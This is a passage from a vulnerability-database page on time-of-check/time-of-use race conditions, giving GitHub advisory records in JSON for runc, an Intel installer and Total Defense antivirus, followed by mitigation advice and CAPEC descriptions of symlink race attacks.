testing it.\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Open an issue in [our issue tracker](https://github.com/opencontainers/runc/issues).\n* Email us at \u003csecurity@opencontainers.org\u003e.",
"id": "GHSA-c3xm-pvg7-gh7r",
"modified": "2021-05-21T19:34:43Z",
"published": "2021-05-25T18:44:42Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/opencontainers/runc/security/advisories/GHSA-c3xm-pvg7-gh7r"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-30465"
},
{
"type": "WEB",
"url": "https://github.com/opencontainers/runc/commit/0ca91f44f1664da834bc61115a849b56d22f595f"
},
{
"type": "WEB",
"url": "https://bugzilla.opensuse.org/show_bug.cgi?id=1185405"
},
{
"type": "WEB",
"url": "https://github.com/opencontainers/runc/releases"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2023/03/msg00023.html"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/35ZW6NBZSBH5PWIT7JU4HXOXGFVDCOHH"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/4HOARVIT47RULTTFWAU7XBG4WY6TDDHV"
},
{
"type": "WEB",
"url": "https://security.gentoo.org/glsa/202107-26"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20210708-0003"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2021/05/19/2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "mount destinations can be swapped via symlink-exchange to cause mounts outside the rootfs"
}
GHSA-C45Q-6FW9-RHWR
Vulnerability from github – Published: 2025-08-12 18:31 – Updated: 2025-08-12 18:31Time-of-check Time-of-use race condition for some Intel(R) Connectivity Performance Suite software installers before version 40.24.11210 may allow an authenticated user to potentially enable escalation of privilege via local access.
{
"affected": [],
"aliases": [
"CVE-2025-20074"
],
"database_specific": {
"cwe_ids": [
"CWE-367"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-08-12T17:15:28Z",
"severity": "HIGH"
},
"details": "Time-of-check Time-of-use race condition for some Intel(R) Connectivity Performance Suite software installers before version 40.24.11210 may allow an authenticated user to potentially enable escalation of privilege via local access.",
"id": "GHSA-c45q-6fw9-rhwr",
"modified": "2025-08-12T18:31:27Z",
"published": "2025-08-12T18:31:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-20074"
},
{
"type": "WEB",
"url": "https://intel.com/content/www/us/en/security-center/advisory/intel-sa-01286.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-C4J5-R43R-6PCX
Vulnerability from github – Published: 2022-05-24 17:00 – Updated: 2024-04-04 02:37The malware scan function in Total Defense Anti-virus 11.5.2.28 is vulnerable to a TOCTOU bug; consequently, symbolic link attacks allow privileged files to be deleted.
{
"affected": [],
"aliases": [
"CVE-2019-18644"
],
"database_specific": {
"cwe_ids": [
"CWE-367"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-10-31T00:15:00Z",
"severity": "MODERATE"
},
"details": "The malware scan function in Total Defense Anti-virus 11.5.2.28 is vulnerable to a TOCTOU bug; consequently, symbolic link attacks allow privileged files to be deleted.",
"id": "GHSA-c4j5-r43r-6pcx",
"modified": "2024-04-04T02:37:13Z",
"published": "2022-05-24T17:00:12Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-18644"
},
{
"type": "WEB",
"url": "https://github.com/NtRaiseHardError/Antimalware-Research/blob/master/Total%20Defense/Privileged%20File%20Delete/v11.5.2.28/README.md"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
Mitigation
The most basic advice for TOCTOU vulnerabilities is to not perform a check before the use. This does not resolve the underlying issue of the execution of a function on a resource whose state and identity cannot be assured, but it does help to limit the false sense of security given by the check.
Mitigation
When the file being altered is owned by the current user and group, set the effective gid and uid to that of the current user and group when executing this statement.
Mitigation
Limit the interleaving of operations on files from multiple processes.
Mitigation
If you cannot perform operations atomically and you must share access to the resource between multiple processes or threads, then try to limit the amount of time (CPU cycles) between the check and use of the resource. This will not fix the problem, but it could make it more difficult for an attack to succeed.
Mitigation
Recheck the resource after the use call to verify that the action was taken appropriately.
Mitigation
Ensure that some environmental locking mechanism can be used to protect resources effectively.
Mitigation
Ensure that locking occurs before the check, as opposed to afterwards, such that the resource, as checked, is the same as it is when in use.
CAPEC-27: Leveraging Race Conditions via Symbolic Links
This attack leverages the use of symbolic links (Symlinks) in order to write to sensitive files. An attacker can create a Symlink link to a target file not otherwise accessible to them. When the privileged program tries to create a temporary file with the same name as the Symlink link, it will actually write to the target file pointed to by the attackers' Symlink link. If the attacker can insert malicious content in the temporary file they will be writing to the sensitive file by using the Symlink. The race occurs because the system checks if the temporary file exists, then creates the file. The attacker would typically create the Symlink during the interval between the check and the creation of the temporary file.
CAPEC-29: Leveraging Time-of-Check and Time-of-Use (TOCTOU) Race Conditions
This attack targets a race condition occurring between the time of check (state) for a resource and the time of use of a resource. A typical example is file access. The adversary can leverage a file access race condition by "running the race", meaning that they would modify the resource between the first time the target program accesses the file and the time the target program uses the file. During that period of time, the adversary could replace or modify the file, causing the application to behave unexpectedly.